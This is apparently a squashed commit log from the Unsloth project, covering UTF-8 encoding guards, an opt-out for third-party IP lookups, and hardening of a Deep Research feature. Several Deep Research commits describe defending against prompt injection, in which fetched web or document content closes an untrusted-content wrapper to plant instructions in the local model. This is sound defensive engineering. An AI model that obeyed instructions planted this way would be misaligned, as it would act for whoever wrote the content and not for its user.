* Pin utf-8 on shipping-code text I/O instead of the operator locale
113 read_text/write_text/open call sites across unsloth, studio and
unsloth_cli let locale.getencoding() decide the encoding. That is utf-8 on
the Linux and macOS runners and cp1252 on a stock Windows install, so the
same file decodes differently for a Windows user and silently produces
mojibake or raises UnicodeDecodeError.
Adds tests/test_runtime_text_encoding.py to keep it that way. It resolves
openers through each file's own imports rather than a fixed list of module
names, so an aliased tarfile.open or a local from PIL.Image import open is
not asked for an encoding it does not take.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scan tracked files only and resolve the unbound Path calling forms
* Honour PEP 263 when scanning sources and migrate a legacy JSONL before appending
* Scope guard imports lexically and only migrate a legacy file when it round-trips
* Leave a legacy JSONL untouched and resolve path aliases in the foreign-opener check
* Tighten comments
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Both tests remove asyncio.timeout to exercise the fallback path in
_wall_clock_timeout. On Python 3.10 that attribute does not exist in the
first place, so monkeypatch.delattr raises AttributeError and Backend CI
fails on its 3.10 leg. raising=False keeps the intent, the attribute is
absent either way.
* Studio: make the startup public-IP lookup opt-in (#7307 P8)
Startup resolved the machine's external IP by asking ifconfig.me whenever
Studio bound to 0.0.0.0 or ::. That tells whoever runs that service this
host is running Unsloth, which the user never agreed to.
The lookup is now gated behind UNSLOTH_STUDIO_PUBLIC_IP_PROBE, off by
default, and logs plainly what it sends and where when enabled. Only
1/true/yes/on enable it, so a typo leaves the private default in place.
The other two steps stay unconditional because neither discloses
anything: the GCE metadata server is link-local, and the UDP connect only
asks the kernel which local address routes to 8.8.8.8 without putting a
packet on the wire. Disabling the probe therefore still yields a usable
LAN address for the access banner.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate the check-host.net reachability probe too, and keep the cloud address
Problem 8 of #7307 is the check-host.net probe in _verify_global_reachability: it hands this machine's address and port to a third party and asks its nodes to connect back. That was still unconditional, so on GCE and on any host whose routing address is already public the reported behaviour was unchanged. It is now behind the same UNSLOTH_STUDIO_PUBLIC_IP_PROBE opt-in.
A private interface address is not proof the port is unreachable, since a NAT or cloud firewall can forward it. The private-address path no longer sets _public_reachable = False, so the banner keeps its warning instead of claiming local network only.
To stop the privacy default from costing cloud users their shareable address, step 1 now reads AWS IMDSv2 and Azure IMDS alongside GCE on link-local 169.254.169.254.
Also drops the redundant function-local import os and documents the variable in the README remote access section.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: switch to a single UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK opt-out
Replaces the opt-in variable and the cloud metadata work from the previous commit. Both third-party startup lookups stay on by default, so nothing changes for existing users, and one variable turns both off for lab and privacy-sensitive deployments. That is the fallback the reporter offered in #7307 Problem 8, and it keeps the firewall diagnostic that the reachability check exists to provide.
The ifconfig.me lookup and the check-host.net probe are now both guarded by public_check_disabled(). Parsing matches the nearest existing switch, _trust_forwarded_for in utils/client_ip.py. The reachability guard sits after the private-address branch, which makes no network call, so a LAN user who opts out still gets the address note.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Studio: add durable Deep Research workflows
* Studio: preserve research integration after upstream updates
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep research worker compatible with Python 3.11
* Studio: address Deep Research lifecycle review
* Studio: preserve durable research recovery
* Studio: preserve research stream and context
* Studio: harden research sources and limits
* Studio: align research with shared chats
* Studio: guard durable research actions
* Studio: protect durable research turns
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: deepen durable research decisions
* Studio: protect research prompts and queries
* Studio: slim research stream deltas
* Studio: preserve research evidence and citations
* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)
- Fix backend CI: add research_runs_router to the synthetic routes stub in
test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
web/document content cannot close an <untrusted_...> wrapper and inject
instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
numbers, non-global IPs, and labeled private identifiers before a query can
reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
(collection and resume paths) instead of per type, which allowed up to 2x the
configured cap.
- Preserve document citations whose filename contains a closing bracket by
tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the research claims table migration atomic
The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.
* Studio: block message edits and regeneration during an active research run
After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.
* Studio: keep the plan review mounted through approval
Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.
* Studio: drop the redundant deep-research persistence change
setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research citations, query privacy, and message protection
Address review findings in the Deep Research backend:
- Escape an unbalanced ")" in citation destinations so a source URL cannot
close the markdown link early and inject a second link, keeping balanced
parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.
Add regression tests for the above.
* Studio: fix Deep Research SSE framing, source counts, and favicon privacy
- Normalize the whole SSE buffer so a CRLF split across transport chunks
still frames events.
- Count web and document sources together in the activity header so a
RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
third-party favicon requests for research sources so visited domains are
not leaked.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: address final Deep Research review findings
* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding
Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.
Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.
Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.
Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.
* Studio: read Deep Research synthesis context from the inference orchestrator
Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.
Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
the production wiring is exercised, plus a scrape page-cap test.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: harden Deep Research query redaction and research autosave
- research_runs: extend the opaque-token allowlist so unlabeled Hugging
Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
backend-stored metadata verbatim on autosave. Merging the client
metadata re-added client-only fields the server never persisted, so the
server-side guard saw a diff and rejected every streamed or snapshot
update with 409.
* Studio: keep composer tool pills always accessible after merge
The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.
* Studio: update Deep Research composer contract to always-expanded layout
The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.
* Studio: do not bind a research run to a populated assistant reply
create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.
* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection
- research_runs: split the synthesis evidence budget evenly across notes so a
small context still keeps a slice of every research step instead of dropping
the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
them in the decision and synthesis prompts, so a closing delimiter in either
cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
direct attachment deletion, so server-managed research prompts and responses
cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.
* Studio: strip invalid document citations that contain brackets
The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.
* Studio: free the RAG search slot when a lookup times out or is cancelled
The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.
* Studio: remove Websites label from research composer
* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)
- Bound the shared RAG search slot to one running worker. The search that is
doing the embedding/index/GPU work now owns the admission slot until it
finishes, instead of freeing it on caller timeout while the detached worker
keeps running, which let a second search enter and stack concurrent work
behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
history. Deleting cascade-drops the run row, but the worker only notices at
its next lease check, so it could keep doing model/web/RAG work for a run
that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
matching the decision and synthesis prompts, so untrusted text cannot forge
planner delimiters.
- Do not let a research key-revocation failure replace a successful
non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
sensitive-key scan when its inner keys are unlisted and would reach retrieval
code that expects a scalar scope id.
Adds regression tests for each.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: remove research composer globe icon
* Studio: use Hugeicons telescope in research composer
* Studio: use Telescope02 icon in research composer
* Studio: standardize Deep Research telescope icons
* Studio: move Deep Research below web and code tools
* Studio: merge grounded page excerpts with search snippets instead of replacing
When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).
Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.
* Studio: fix stale website access assertion in Deep Research contract test
The dialog heading was renamed to a DialogTitle, so the contract test still
asserted a <span>Websites</span> that no longer exists and failed on every
branch built on this one. Assert the current heading instead.
* Add AGPL-3.0 SPDX header to the two new test files for PR #7219
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix citation loss, effort clamping and nested inferenceRequest for PR #7219
Three review findings, each with a regression test that fails without the fix.
Citation dropped for a bare URL in prose parentheses. _RAW_URL swallows the
closing paren and the old trim set only stripped ".,;:!?", so the catalog
lookup missed and the validator deleted the whole citation, leaving an
unbalanced "(" in the report. New _trim_url_tail follows GFM extended autolink
path validation: one right-to-left pass that interleaves punctuation and
unmatched-")" trimming. Both rules must run in the same loop, else
"https://x/y.)" keeps a stray dot. Balanced parens inside a URL
(Wikipedia-style) still survive. Output verified against cmark-gfm on nine
cases, including "https://x/foo)bar)" which must keep ")bar".
Research runs forwarded reasoningEffort unclamped. The local chat path clamps
to the loaded model's advertised levels; the research branch did not, and the
backend only validates enum membership, so llama.cpp dropped a level the model
lacks and the whole durable run silently fell back to the template default.
Now uses the same helper and the same levels as normal chat. Note this makes
"max" on a gpt-oss low|medium|high model resolve to "low" rather than falling
through to the template default, matching normal chat exactly; the divergence
between the two paths was the bug.
Nested inferenceRequest values were persisted. Every allowed field is a scalar
and the numeric/bool/enum ones reject a container while coercing, but "model"
is stringified with str(), which never raises, so {"auth": "sk-..."} slipped
past the sensitive-key scan ("auth" is not on the list) into the durable run
config as the model id. Mirrors the ragScope guard already in this PR.
Verified: 542 passed across the research/web/sandbox/chat-history backend
suites, frontend contract 10 passed, tsc --noEmit clean.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix report-stalling regex, uncataloged KB evidence and bracketed titles for PR #7219
Catastrophic backtracking in _DOCUMENT_CITATION. The alternation
(?:[^\[\]]+|\[[^\[\]]*\])* backtracks exponentially on an unterminated
"[Document:" with no later bare "]", which is ordinary malformed model output
and exactly what this sanitizer exists to handle. Runtime quadrupled every two
characters; one realistic 76-char line did not finish in 90s. It runs
synchronously inside async _research (the line below it uses asyncio.to_thread),
so a single bad report pins the event loop and stalls all of Studio, not just
the run. Replaced with the language-equivalent unrolled form, verified identical
on well-formed inputs including bracketed filenames, and linear: a 20,000-char
tail now takes 0.4ms. Not using possessive quantifiers or atomic groups, which
need Python 3.11 while this package declares >=3.9.
Uncataloged knowledge base evidence reached synthesis. When maxSources is
already full, every returned chunk hits the continue, so accepted_rag_sources
stays empty, the "if accepted_rag_sources" rebuild no-ops and rag_result keeps
the raw KB text. That text has no document_source_catalog entry, so the
validator strips any citation to it and synthesis is left building claims on
private KB chunks it cannot attribute. Cleared, gated on rag_sources so a
text-only KB reply is still passed through. The resume branch built rag_evidence
from all restored sources with the same hole, so it now mirrors the live loop.
Bracketed source titles destroyed their own citation. The catalog gave the model
the raw title while the citation writer stripped brackets. Search titles
routinely carry one ("[PDF] Annual Report"), and the prompt tells the model to
copy the title verbatim, producing a label the validator cannot match. Both
sides now share _citation_title.
Verified: 756 passed across the research/web/sandbox/chat-history/rag backend
suites. Each fix has a regression test that fails without it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep a durable run alive when no model is loaded for PR #7219
A durable run is claimable within the supervisor's poll interval of startup
(main.py starts it in the lifespan, and claim_next takes any 'running' run whose
lease expired), Studio has no startup model auto-load, and the browser is not
connected yet. So restarting Studio mid-run reliably lands the next model call
on the local endpoint's HTTP 400 "No model loaded". That 400 is not retryable:
_completion retries only >= 500, and _stream_completion, which serves both
planning and synthesis, has no retry at all. The run is marked failed, and the
only recovery is retry, which sets report_text NULL and deletes every
research_plan_step, research_source and research_document_source. Up to an hour
of scraping and synthesis is lost on a plain restart, on the feature whose whole
point is surviving one.
Treat only that refusal as transient: wait up to the run's own
modelTimeoutSeconds for a model to come back, then re-send. Any other 400 still
fails immediately, so no behaviour changes on the happy path. The wait polls
_check_active, so cancellation and lease loss are still honoured, and the model
probe fails open, so a probe error can only send a request, never withhold one.
Each wait is bounded by the run timeout and the number of waits per call is
capped, so a model that keeps disappearing cannot re-send forever.
Deliberately not pinning or restoring the model, which the review comment also
suggested. Auto-switch is opt-in, default off, and GGUF-only, so restoring
would silently evict the model the user just loaded from a background worker,
and comparing the configured name to the loaded id is fragile across variant
suffixes and advertised aliases, so it would break working runs.
Verified: 853 passed across the research/web/sandbox/chat-history/rag/inference
backend suites. Eight of the nine new tests fail without the fix.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make website-policy search reach the whole allowlist and refill past blocks for PR #7219
Two review findings on the website access policy.
Domains past the site: filter cap were undiscoverable. The policy accepts up to
100 allowed domains and the prompt tells the model all of them are searchable,
but scope_search_query always scoped to allowed[:8], so a source in the ninth or
later domain could never be found, and an undiscovered URL cannot be fetched
either. The cap itself is right, search engines stop honouring long OR chains,
so the window now rotates by a hash of the query instead of being a fixed head.
Every allowed domain is reachable across a multi-step run, the same query is
always scoped the same way, and lists at or under the cap are unchanged.
A page of blocked results returned nothing. The policy filters after the search
while DDGS was asked for exactly max_results candidates, so if those happened to
be disallowed the tool reported no results even when valid ones ranked just
below, wasting a research step. Ask for a deeper pool when a policy is set and
stop at max_results allowed entries. No policy means no over-fetch, so ordinary
searches are unchanged.
Verified: 2324 passed across the research/web/sandbox/chat-history/rag/tool
backend suites. The 8 test_studio_api.py failures are pre-existing and need live
OpenAI/Anthropic credentials; they fail identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Only overfetch search results when the website policy restricts for PR #7219
Follow-up to 8be0b3699. Every run stores normalize_website_policy(...), which
returns {"allowedDomains": [], "blockedDomains": []} and is truthy even when
nothing is restricted, so the default unrestricted path asked DDGS for four
times as many results on every step. That is pure added latency and timeout
risk, since the filter passes everything and only max_results entries are
returned either way. Test the domain lists rather than the dict.
* Budget the whole research prompt against the loaded context for PR #7219
Only the synthesis evidence was budgeted, so the budget could not prevent the
overflow it existed to prevent.
Measured at head with a realistic prompt (40-source catalog, 12-step plan): the
untrimmable scaffolding is about 7,900 chars and the conversation context adds
up to 12,000 more. On a 4096-token context, which is the GGUF auto-fit floor and
the transformers default, the synthesis request came to about 1.7x the window.
Worse, _synthesis_evidence_budget computed usable_tokens = 0 at or below the
4,096-token reserve and then returned the 1,500-char floor anyway, so it added
evidence to a prompt that already did not fit. The decision prompt had no
context awareness at all: a fixed evidence[-60000:], roughly ten times a small
window, on every step rather than once at the end.
Overflow is not cosmetic here. It either silently truncates and degenerates the
report, as the comment above these constants already warned, or fails the run,
and a failed run is only recoverable via retry, which deletes every plan step,
source and document source and nulls the report.
Both paths now share _prompt_char_budget plus _trimmable_budget: each trimmable
section is measured against what the rest of the prompt leaves, and can reach 0
instead of a floor, because a shorter report beats a destroyed run. Evidence is
budgeted before the chat history, since the evidence is the report. Unknown
context still keeps the full cap.
At 4096 tokens the synthesis prompt now fits (0.6x). Below that it is still
over, since a 40-source catalog alone exceeds the window; that needs a smaller
maxSources, and the context box does accept values down to 128.
test_synthesis_evidence_budget_tracks_loaded_context asserted the old floor at
2048 tokens, which is the bug, so it now asserts 0 and that the rest of the
prompt counts against the same budget.
Verified: 2325 passed across the research/web/sandbox/chat-history/rag/tool
suites. The test_mcp_stdio_sessions failure is pre-existing and fails
identically with these changes stashed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope replayed research history to its own attempt for PR #7219
A retry deletes the previous attempt's research_plan_steps, research_sources
and research_document_sources rows but keeps its events, and the SSE route
attaches one live run snapshot to every event it emits, replayed history
included. The step.completed payload carries only position, title, action,
input and sourceCount, so that snapshot is the sole source of the excerpt and
evidence.
On any refresh after a retry, a replayed attempt-0 step was therefore matched
against attempt-1's step row by position alone, and start_position resets to 0
after the delete, so the positions line up exactly. The preserved attempt-0
activity then showed attempt-1's excerpt and evidence, or lost them entirely
when attempt 1 had not yet reached that position, under a banner that says
previous activity is preserved. The run.started resumed branch read the same
cross-attempt snapshot and spliced those activities out.
Both are gated on the event's attempt matching the snapshot's retryCount, which
is the same attempt scoping get_reasoning_text already applies server-side. The
excerpt and evidence fall back to what the activity already holds, so a mismatch
is non-destructive rather than blanking it.
Verified: frontend contract 11 passed, tsc -b exit 0, and the new test fails
without the store change.
* Retry pre-stream failures in the research stream for PR #7219
_stream_completion serves planning, every decision step and synthesis, and it
had no transport retry: a connection error or a 5xx raised before any response
byte failed the durable run, and retry then deletes every gathered source,
document source and plan step. _completion already treats the identical
failures on the identical endpoint as retryable, so the two paths disagreed.
This is partly a hole my own 689b06535 opened. After the no-model 400 the body
is read, the connection returns to the pool, and _wait_for_local_model then
sleeps for up to modelTimeoutSeconds before re-sending on the same client.
Uvicorn's keep-alive is 5s, so that pooled connection is essentially always
server-closed by then, and losing the has_expired race raises
RemoteProtocolError, killing the run the wait existed to save. Also reachable
via a read timeout waiting for headers under prompt-eval load.
Retrying is safe only because nothing has been consumed at that point, and that
is structural rather than a convention: with stream=True httpx returns on the
response headers without calling aread(), and raise_for_status() reads no body,
both verified against the installed 0.28.1. The handler is scoped to the inner
try that ends at break, and _iter_stream_lines sits outside the loop with no
path back to send, so a re-send cannot duplicate report text.
Bounded and mirrors _completion: same >= 500 predicate, same 3 attempts, same
2**attempt backoff, lease and cancellation re-checked before re-sending. The
transport counter and the model-wait counter are independent, so they cannot
multiply. The response is closed before every re-send, as manual stream mode
requires.
Note HTTPStatusError is not a TransportError in httpx, so both are caught
explicitly.
Verified: 2330 passed. Five of the new tests fail without the fix; the three
that pass either way are the invariants that must not change (fail fast on a
real 400, never retry once the report has streamed, existing model-wait path).
* Bound the planning prompt to the loaded context for PR #7219
Completes dc16598a4, which budgeted the decision and synthesis prompts but left
planning unbounded. The question reaches the planner verbatim (a pasted document
arrives here as-is) and the history is capped only at the fixed 12,000 chars,
so on a small context planning could overflow before any plan was persisted,
failing the run without doing any research at all.
Same helpers as the other two paths. The question is budgeted before the
history, since the question is the request.
A test now asserts all three prompt paths hold their own context budget, so a
fourth path cannot be added later without one.
Verified: 2331 passed; the new test fails without the change.
* Keep prompt inputs non-empty and fit the source catalog for PR #7219
Two follow-ups to the prompt budgeting, the first a regression I introduced in
dc16598a4.
The output reserve was a flat 4096 tokens, so on any context at or below that,
including the documented 4096-token GGUF floor, the whole prompt budget came out
as 0. Every trimmable section then sliced to nothing: planning_question became
the empty string, so the planner never saw the request at all, and synthesis
dropped all its evidence. Removing the old floor outright went too far; an empty
prompt is worse than the overflow it was avoiding. The reserve is now capped at
half the window, and the question and the evidence each keep a floor, since one
carries the request and the other carries the answer. A truncated completion is
recoverable, a confidently empty report is not.
The source catalog was the one section still inserted whole. It holds up to
maxSources entries with snippets persisted at up to 4000 chars each, so on a
smaller context it alone could exceed the budget while the code responded only
by zeroing the evidence and history. It is now fitted first, dropping whole
entries from the tail rather than slicing mid-entry, because a half-truncated
URL is worse than an absent one: the validator would strip it and the claim
would be left uncited.
Verified: 2333 passed. All three new tests fail without the change; the question
now keeps 1072 chars at a 2048-token context and 4144 at 4096, where both were
previously 0.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten Deep Research comments for PR #7219
Post-convergence comment pass over the 40 source files in the PR diff, limited
to lines the PR itself adds so untouched upstream code in the same files is left
alone. 15 files, 110 insertions, 141 deletions.
The reduction is deliberately small. Almost every comment here records why
something non-obvious is done, a measured result, a spec rule, or the exact bug
it prevents, and those are worth more than the lines they cost, so nearly every
edit is a same-meaning compression rather than a deletion. Kept in full: the GFM
autolink citation for the URL trim, the catastrophic-backtracking note on
_DOCUMENT_CITATION, the prompt-budget notes recording that a reserve at or above
the context leaves nothing, the two measured site: filter findings, and the
remount note on the activity panel key.
Verified comment-only three ways: comment_tools.py reports 15/15 code-unchanged,
and an independent ast.dump comparison with docstrings stripped shows zero of the
12 Python files differing. 421 backend tests and the 11 frontend contract tests
pass, and the phrase the contract test asserts on is still present on one line.
* Harden Deep Research model streams
* Fit Deep Research decision prompts
* Preserve Deep Research follow-up context
* Redact composite credentials from research queries
* Scale Deep Research UI typography
* Address Deep Research refinement review
* Harden Deep Research refinement edge cases
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* tests: read checked-in files as UTF-8 instead of the platform default
Path.read_text() with no encoding uses locale.getpreferredencoding(), which
is UTF-8 on the Linux runners and cp1252 on a stock Windows install. Nine
module-level reads of checked-in source files were relying on that default.
studio/backend/routes/inference.py carries the DeepSeek tool-call token
regexes, so it holds U+FF5C and U+2581. Under cp1252 that read raised
UnicodeDecodeError on byte 0x81 at position 97806, and because the reads run
at import time it took test_cancel_atomicity.py and test_cancel_id_wiring.py
out at collection, not as failures. Green on CI, permanently broken for a
Windows contributor running the suite locally.
Adds a guard: at module scope there is no tmp_path fixture, so a bare
read_text()/write_text()/open() there is always touching a checked-in file.
That makes the rule mechanical enough to enforce with no allowlist, while
staying quiet about temp-dir I/O inside test bodies where the platform
default is harmless.
The repo already spells this correctly in 464 other places; this only stops
the stragglers coming back.
* tests: cover import-time helper reads and keep the guard py3.9-safe
Follows up on the Codex review:
- add `from __future__ import annotations`, since `str | None` in
`_offender` is evaluated at import on Python 3.9 and pyproject declares
requires-python ">=3.9,<3.15".
- widen the guard from module scope to import time. Class bodies and the
bodies of module-level helpers called from an executing statement run
during collection too, so `CODE = _extract_mixed_precision_code()` was
the same hazard as an inline read. `if __name__ == "__main__":` blocks
are skipped: pytest never executes them.
- scan studio/backend/tests/ as well as tests/. Both trees are collected
on Windows by separate CI jobs, and the offender that started this,
test_tool_xml_strip.py reading routes/inference.py, lives there.
Widening it surfaced seven more import-time reads of checked-in sources;
all now name utf-8.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden the import-time encoding guard for PR #7438
Close the detector gaps raised in review, all of which I reproduced against
the actual AST before changing anything.
False negatives (the guard let a real hazard through):
- _is_main_guard ignored the comparison operator, so if __name__ != "__main__"
counted as script-only even though its body runs at import.
- The else arm of a main guard was discarded with the rest of the If node.
- Decorators and argument defaults on a module-level def were skipped with the
body, though both are evaluated when the def executes.
- Path.open() in text mode was invisible; only builtin open() was matched.
- encoding = None and encoding = "locale" both re-select the platform default,
but the keyword merely being present counted as pinned.
False positives (the guard would have blocked a compliant contributor):
- A non-literal mode fell through to the "r" default, so open(p, mode) was
flagged even when mode is "rb", where adding encoding= is a ValueError and
there is no edit that satisfies the rule.
- Same for open(*args) and a **kwargs splat, which hide the mode and can hide
an encoding.
- Lambda bodies and comprehension elements were walked even though neither runs
at definition.
Verified: still reports the same 22 offenders on unpatched main, green on this
branch and on the tree merged with latest main (557 files), and an adversarial
corpus of 33 cases now scores zero false positives and zero false negatives.
Also corrected two docstring claims: neither collecting job runs on Windows,
and the read is governed by locale.getencoding().
* Walk eager comprehensions and treat io.open as the builtin
Two regressions from the previous commit, both reproduced against the AST
before changing anything.
Lumping list, set and dict comprehensions in with generator expressions was
wrong. Only a genexp is lazy; the other three run their element expression,
their filters and their nested iterators immediately, so
CONTENTS = [p.read_text() for p in PATHS] at module scope is an import-time
read the guard was silently missing. Comprehensions are now walked in full and
only the genexp keeps the outermost-iterable-only treatment.
io was also in the not-a-path-opener list, but io.open is the builtin, with the
same mode position and the same platform default. io.open(CHECKED_IN_FILE) is
exactly the hazard this guard exists for, so it is matched now, with binary
modes and a pinned encoding still exempt. tarfile.open and fitz.open stay
exempt since neither has an encoding to name.
Verified: 13 targeted cases covering all five eager comprehension forms and
io.open in text, binary and pinned shapes all classify correctly; still 22
offenders on unpatched main; green on this branch and on the tree merged with
latest main.
* Close three more walker gaps in the import-time guard
All three reproduced against the AST first.
A generator expression handed straight to a call is consumed there, so
DATA = "".join(p.read_text() for p in paths) runs its element at import. Only
an unconsumed genexp bound to a name stays lazy, so the walker now follows the
consumed ones in full and keeps the outermost-iterable-only treatment for the
rest.
if "__main__" == __name__ is an equivalent and accepted spelling of the main
guard, but requiring __name__ on the left meant its body was treated as
import-time code. That is a false positive on a block pytest never runs, so
both operand orders are recognised now.
The helper table was built from module-level defs only, so a def in a class
body invoked while the class is constructed was never followed, contradicting
